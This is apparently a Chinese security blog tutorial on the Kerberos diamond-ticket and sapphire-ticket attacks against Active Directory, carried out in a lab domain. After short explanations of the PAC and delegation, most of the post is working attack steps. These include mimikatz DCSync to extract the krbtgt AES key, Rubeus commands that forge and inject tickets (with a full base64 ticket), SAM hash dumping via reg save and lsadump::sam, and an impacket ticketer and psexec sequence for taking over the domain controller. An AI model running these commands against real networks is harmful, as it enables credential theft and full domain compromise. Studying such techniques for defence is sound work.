新一代kerberos攻击：钻石票据（Diamond Ticket）和蓝宝石票据（Sapphire Ticket）

目录

什么是Kerberos 特权属性证书（PAC） ?

什么是Kerberos委派？

非约束委派

钻石票据（Diamond Ticket）

蓝宝石票据（Sapphire Ticket）

钻石票和蓝宝石票：

结尾

简述：

黄金票据和白银票据的问题在于它们很容易被发现。一旦 KDC 服务收到 TGT/ST，并且在 SIEM 中收到日志，就很容易被现在的安全设备所检测出来。

黄金票据攻击和钻石票据攻击都需要访问krbtgt密钥。然而，钻石票据攻击需要访问AES256密钥。黄金票证攻击则是利用伪造票证授予票证 (TGT) ，而钻石票证攻击则利用了域控制器 (DC) 请求的真实 TGT 进行解密和重新加密进行票据攻击。

钻石票据与蓝宝石票据的区别，在钻石票据攻击当中，修改是通过添加额外权限或完全修改所请求的 TGT 的原始 PAC。而在蓝宝石票据当中，则是使用 Kerberos 委派获取高权限用户的合法 PAC 来修改 TGT，并将其替换为原始票证的 PAC。

什么是Kerberos 特权属性证书（PAC） ?

PAC在Kerberos认证协议中的作用（一） | Microsoft Learnhttps://learn.microsoft.com/zh-cn/archive/blogs/apgceps/packerberos-2

PAC的全称是Privilege Attribute Certificate(特权属性证书)， 其中所包含的是各种授权信息， 例如用户所属的用户组， 用户所具有的权限等。

PAC的作用是用来验证用户是否有权限来访问服务，如果没有PAC，那么只需要拿到Hash就可以访问任何服务了，所以加入PAC是为了即使获得了Hash但是也会判断用户是否有权限访问某项服务。

PAC 是一种传递域控制器 (DC)提供的授权相关信息的结构。身份验证协议使用 PAC 来验证身份以传输授权信息，从而控制对资源的访问。完成身份验证后，下一个任务是决定是否授权特定请求。而 DC 包括 PAC 中的授权数据，例如安全标识符 (SID)和相对标识符 (RID)

当用户与KDC之间完成了认证过程之后， 用户需要访问服务器所提供的某项服务时， 服务器为了判断用户是否具有合法的权限必须通过将用户的用户名传递给KDC， KDC通过得到的用户名查询用户的用户组信息， 用户权限等， 进而返回给服务器， 服务器再将此信息与用户所索取的资源的ACL进行比较， 最后决定是否给用户提供相应的服务。

也就是说， 用户所得到的TGT（TicketGranting Ticket）会包含用户的授权信息。用户再用包含有授权信息的TGT去申请相应的Service Ticket，KDC在收到这个KBR_AP_REQ请求的时候， 将TGT里的PAC信息解析出来， 加入到Service Ticket里返回。

当用户向服务器程序提交KRB_AP_REQ消息时， 服务器程序则将其中所包含的PAC信息传送给操作系统得到一个访问令牌， 并且同时将这个PAC的数字签名以KRB_VERIFY_PAC的消息传输给KDC， KDC再将验证这个PAC的数字签名的结果以RPC返回码的形式告诉服务器， 服务器就可以根据这个结果判断PAC数据的真实性和完整性，并做出最后对KRB_AP_REQ的判断。

什么是Kerberos委派？

什么是 Kerberos 委派？Kerberos 委派概述 (netwrix.com)https://blog.netwrix.com/2021/11/30/what-is-kerberos-delegation-an-overview-of-kerberos-delegation/委派一共分为三种：约束委派、非约束委派、基于资源的约束委派

非约束委派

在拿到用户TGT之后，可以以用户的身份对域内所有服务进行访问。设置需要SeEnableControl特权，这个特权只授予域管理员。

在域内勾选下图选项则变为非约束委派

非约束委派属性的机器账号的useraccountcontrol有个flag位对应的数是528384

非约束委派属性的服务账号的useraccountcontrol有个flag位对应的数是524800

下图为官方非约束委派流程

1.  用户通过发送一个KRB_AS_REQ消息。向KDC密钥分发中心KDC的AS认证服务进行身份认证，请求一个可以转发的TGT认购权证。

2.  KDC在KRB_AS_REP消息中返回了一个可以转发的TGT认购权证。

3.  用户根据上一步获取到的可转发的TGT1向KDC请求转发另一个可转发的TGT2，这一步是通过KRB_YGS_REQ消息请求。

4.  KDC在KRB_TGS_REP消息中返回转发TGT2。

5.  用户使用步骤2中返回的TGT1向KDC申请访问Service1的ST（ServiceTicket）。

6.  KDC的TGS返回给用户一个Service1的ST。

7.  用户发送KRB_AP_REQ请求至Service1，这个请求中包含了TGT1和ST、TGT2、TGT2的SessionKey。

8.  Service1使用用户的TGT2通过KRB_TGS_REQ发送给KDC，以用户的名义请求能够访问Service2的票据。

9.  KDC在KRB_TGS_REP消息中返回Service2到Service1的票据。

10.  Service1以用户的名义像Service2发送KRB_AP_REQ请求。

11.  Service2响应步骤10中Service1的请求。

12.  Service1响应步骤7中用户的请求。

13.  在这个过程中的TGT转发机制，没有限制Service1对TGT2的使用，也就是说Service1可以通过TGT2来请求任意服务。

14.  KDC返回步骤13中请求的票据。

15和16即为Service1通过模拟用户来访问其他Service。
 

非约束委派攻击可以利用服务账号和主机账号，因为只有服务账号和主机账号具有委派性，域用户帐号注册spn之后就成为了服务账号，主机账号的话我们可以手动去创建

暂不做过多攻击介绍

钻石票据（Diamond Ticket）

钻石票据只需请求普通票证、解密 PAC、修改、重新计算签名并再次加密，生成与合法 PAC 高度相似的 PAC，并且还可以生成合法请求。

在这里我们使用Rebeus进行钻石票据攻击的利用。

利用前提：

• krbtgt aes256密钥
• 域密码
• 域控高权限

黄金白银票据都是使用hash值进行攻击，而钻石票据攻击是需要aes256密钥。

黄金票据攻击是利用伪造TGT，而钻石票据是利用DC请求的真实TGT进行解密和重新加密进行票据攻击

首先我们使用mimikatz获取krgtgt的aes256密钥

"privilege::debug" "lsadump::dcsync /domain:noc.com /user:krbtgt"

获得密钥，使用票据前是无法访问域控的

使用Rubeus（2.2.0、2.1.1应该会有不一样的结果）工具进行钻石票据攻击

Rubeus.exe asktgt /user:administrator /password:123qwe!@# /aes256:ccf3d727b1ff3a9591527c2e54446120547d05bec94a1aa7aaa4eedfec426ed6 /domain:noc.com /dc:192.168.1.254 /ptt /nowrap（使用此命令未成功）

或使用域用户用户名密码创建一个钻石TGT

Rubeus.exe diamond /domain:DOMAIN /user:USER /password:PASSWORD /dc:DOMAIN_CONTROLLER /enctype:AES256 /krbkey:HASH /ticketuser:USERNAME /ticketuserid:USER_ID /groups:GROUP_IDS

Rubeus.exe diamond /krbkey:ccf3d727b1ff3a9591527c2e54446120547d05bec94a1aa7aaa4eedfec426ed6 /user:a /password:123qwe!@# /enctype:aes /domain:noc.com /dc:dc-noc.noc.com /ticketuser:administrator /ticketuserid:1104 /groups:512

使用tgt deleg技巧创建钻石TGT:

Rubeus.exe diamond/krbkey:ccf3d727b1ff3a9591527c2e54446120547d05bec94a1aa7aaa4eedfec426ed6 /tgtdeleg /ticketuser:administrator /ticketuserid:1104 /groups:512（这里我报错了但没关系因为已经创建好钻石tgt了）

ptt导入票据：

Rubeus.exe ptt /ticket:doIE5jCCBOKgAwIBBaEDAgEWooID9TCCA/FhggPtMIID6aADAgEFoQkbB05PQy5DT02iHDAaoAMCAQKhEzARGwZrcmJ0Z3QbB05PQy5DT02jggO3MIIDs6ADAgESoQMCAQOiggOlBIIDoT3PQaePP7JX9u14uWwhFfAGwVITYDd0cP5GW95bmhB27+56ZGj1yXwetPZTTFGvWOvK/0r+DjZzFEhclnX3Ecb7eWHOnJYtxpGfHv7dTFBaXZ6D0VG0t9l7Sk5XKbEarvJ8Wzc2NLqu6IZOCs6qqWqbESAxy7uOGM+kRKURe1JGQpwpg4Hr5Il3IxQVdLZfR30wMxhEAaJCdteD2iqBDUnlsY5fFO5MjobpPvfGP/+qKue6y0guTgU7vPvXs/kPZy/6t8GuUYkf9guf918n7hXKKu81+kMBlKikWj5Ax/iVSbp621tk084NfAApPWjFluMl3JCvl4Z0oP4UeNrmEUl4FJJQIN5j5fjZVngXgGyBGZ73/GkRziDdGAw1KUj+gQkJibU+czUHZKv6N6q3Lezyt4Y2oWYG+QZEKM8U60/qmsIWzCmrSJa58QRhJTMyoVsIqTyKUvOxFqYbhGLkV2U7c0CSRiWf3lWwLgU5OZJkeXjzlxUxg3JCK4IzQjQKCHHJhYsPat04bW+QrS27thxGi8xAX8qx/jR2OgH2pxWGTLbt0jv3kp7C3GOkATUAs23xCz6Lw96zgYOYB28o1JZ+IAVdVDuP+kwBhv1ZLSLFNRNt27m0I1S1PWHrvAzTBkw7AnoIEssNwRNlJ0tz2zwKMkAMeG9w5NofptiT+28LUHStJ1V0vy/7Trwmd6QtGiX7bKFMMH+XKOOfl0SoPCT8lOMEMShssSS8hV7b81kMXDW3hYmRlMbMstSY/KFn57/4TCusWuwQyoPHeAZGtqNW3apcWF0gsGmrJNwEkKumD6nSoQUEj24nwtMN8wLMGFqahNHBdtOdmC61nMl0u96U0YSL4ILP6shb4o9AH2sbasR2i7LvKCD4M9ckPMDgPopunEy1N7BqYxnW/rD8Hk9WNnADY9jLoLNXwRsmshgBRyXp2J40tpRLQeTGD+3tdcWAgbrNLUMxnrtvdqIVgpJ0KaHbyvhBxgT3NK4NL/PN2/IhVGyA3apXne+a/VqimEOdJkyN7nk8oen11xaJ3umM12KFKI5tJ2tAH0MuNiIxRj+RKLRL02WQiot8hZQSOSiFR7wrvdYtZguM1qM2oa7GU/NBJT4VVwyFGEGJwUqfFP9hdWdBGlhNaFsgN8eeorAODm5OnwNwilVEhvo9nu2XcG96LcZXX22QFg7zwp5JEvaKbFgZK/LNqK86CI8q7W4JQrNu9xZPcLMUbwZrMl/ho4HcMIHZoAMCAQCigdEEgc59gcswgciggcUwgcIwgb+gKzApoAMCARKhIgQgD3yw9ptFbmj6/YXgFrn1GE6I1EnGbRc4W2xgFmXEhmChCRsHTk9DLkNPTaIaMBigAwIBAaERMA8bDWFkbWluaXN0cmF0b3KjBwMFAEDgAAClERgPMjAyMzEwMDIxNDE4MzFaphEYDzIwMjMxMDAzMDAxODMxWqcRGA8yMDIzMTAwOTE0MTgzMVqoCRsHTk9DLkNPTakcMBqgAwIBAqETMBEbBmtyYnRndBsHTk9DLkNPTQ==

注：这里并不是管理员权限（以上所有操作均是在非管理员权限下完成的）

当删除所有票据在进行共享时可以看到是拒绝访问的

mimikatz中2.1.1和2.2.0有不同在提升权限后2.1.1会执行成功命令sekurlsa::logonpasswords而2.2.0不能执行会报错（这个针对本机用户，域用户又不一样2.1.1反而执行不了而2.2.0可以执行）

本机用户：2.2.0版本

域用户2.2.0版本：

域用户2.1.1版本：

2.1.1并没有后续情况（下图是版本2.1.1，注意：之所以命令可以使用是因为已经导入了tgt票据）

这时候我们可以使用sam文件来获取（下述出处）

内网横向移动密码凭证获取总结.pdf_SNMP采集资源-CSDN文库

在 Windows 系统里有一个 SAM 文件，里面存着所有本地用户的密码 hash，其全称叫做"Security AccountManager”。SAM 文件默认存放于C:WindowslSystem32config目录下的 SAM 文件中。

一、需要管理员权限（reg命令获取本地用户凭据hash）

reg save HKLMSYSTEM Sys.hiv

reg save HKLMSAM Sam.hiv

然后将这两个文件回传到本地使用mimikatz 抓取密码hash

二、直接用mimikatz读取本地文件，获取hash

privilege::debug

token::elevate

lsadump::sam

以上两种方法对应不同版本均可以成功获取hash

蓝宝石票据（Sapphire Ticket）

可以创建一个 TGT，模拟任何用户组装真正的 TGT 和结合 S4U2Self + U2U 的真实 PAC

蓝宝石门票技术基于S4U2Self + U2U技巧。使用 U2U 可以在没有 SPN 的情况下请求 S4U2Self。S4U2Self 是 S4U 协议扩展中的消息之一。S4U2Self允许代表另一个用户获取自己的票证。假设一个服务启用了 Kerberos 约束委派，但用户使用 NTLM 对其进行身份验证。服务无法将用户委托给另一个服务，因为它没有用户的 ST。在这种情况下，服务向 KDC 发送一个KRB_TGS_REQ，请求该用户的 ST 给自己。因此，该服务现在具有带有用户身份验证信息的 ST

所以这个想法是：我们请求 S4U2Self，将 ST 提供给我们，就好像用户已经对我们进行身份验证一样。此 ST 具有用户的 PAC。所以，我们有他的PAC，因为我们可以使用krbtgt Kerberos密钥解密它。现在，我们可以修改现有 TGT 的 PAC，并使用 krbtgt Kerberos 密钥对其进行重新加密和重新签名

攻击手法：

https://github.com/ShutdownRepo/impacket/blob/sapphire-tickets/examples/ticketer.py

python3 ./ticketer.py -request -impersonate 'administrator' -domain 'contoso.local' -user 'emp.1' -password '1234' -aesKey '0c83d045c7428f2fee556ba0bbdf0109b3e39d38104b415fd91def363910b4b2' -domain-sid 'S-1-5-21-877380313-3945528518-819751691' 'ignored'

后

export KRB5CCNAME=snapattcker.cache python3 psexec.py snapattack.labs/snapattack@arrakis.snapattack.labs cmd.exe -k debug -n

重新接管域控

由于蓝宝石要用到python环境所以后续在补进

钻石票和蓝宝石票：

在这两种攻击中，操纵都发生在合法 TGT 的 PAC 上，但主要区别在于它的修改方式。对于钻石票，通过添加额外权限或完全修改，对所请求的 TGT 的原始 PAC 进行修改。使用蓝宝石票证，攻击者通过使用 Kerberos 委派获取高特权用户的合法 PAC 来修改 TGT，并将其替换为原始票证的 PAC。

结尾

参考文章：

• Silver tickets - The Hacker Recipes
• Golden tickets - The Hacker Recipes
• Diamond tickets - The Hacker Recipes
• Diamond And Sapphire Tickets | Peter Gabaldon
• Sapphire tickets - The Hacker Recipes
• A Diamond (Ticket) in the Ruff - Semperis
• Precious Gemstones: The New Generation of Kerberos Attacks
• Diamond Ticket & Sapphire Ticket - su Jimmy
• TrustedSec | A Diamond in the Ruff